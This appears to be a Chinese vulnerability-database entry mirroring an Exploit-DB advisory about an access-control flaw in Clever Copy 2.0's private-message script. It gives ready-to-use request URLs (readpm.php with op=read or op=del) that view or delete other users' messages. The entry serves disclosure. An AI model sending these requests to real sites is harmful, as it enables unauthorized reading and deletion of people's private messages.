Clever Copy 2.0 – Private Message Unauthorized Access

漏洞ID	1055293	漏洞类型
发布时间	2005-07-27	更新时间	2005-07-27
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	PHP	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/26043

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

source: http://www.securityfocus.com/bid/14397/info

Clever Copy is affected by an unauthorized access vulnerability. This issue is due to a failure in the application to perform proper access validation checks before granting access to private message functions.

An attacker can exploit this vulnerability to delete or view arbitrary private messages of an valid user. 

http://www.example.com/readpm.php?op=read&ID=2&name=pruebas&user=waltrapass
http://www.example.com/readpm.php?op=read&ID=2&user=waltrapass

http://www.example.com/readpm.php?op=del&ID=2&name=pruebas&user=waltrapass
http://www.example.com/readpm.php?op=del&ID=2&user=waltrapass

相关推荐: WQuinn DiskAdvisor 4.1 Directory Listing Disclosure Vulnerability

WQuinn DiskAdvisor 4.1 Directory Listing Disclosure Vulnerability 漏洞ID 1103833 漏洞类型 Design Error 发布时间 2000-10-06 更新时间 2000-10-06 C…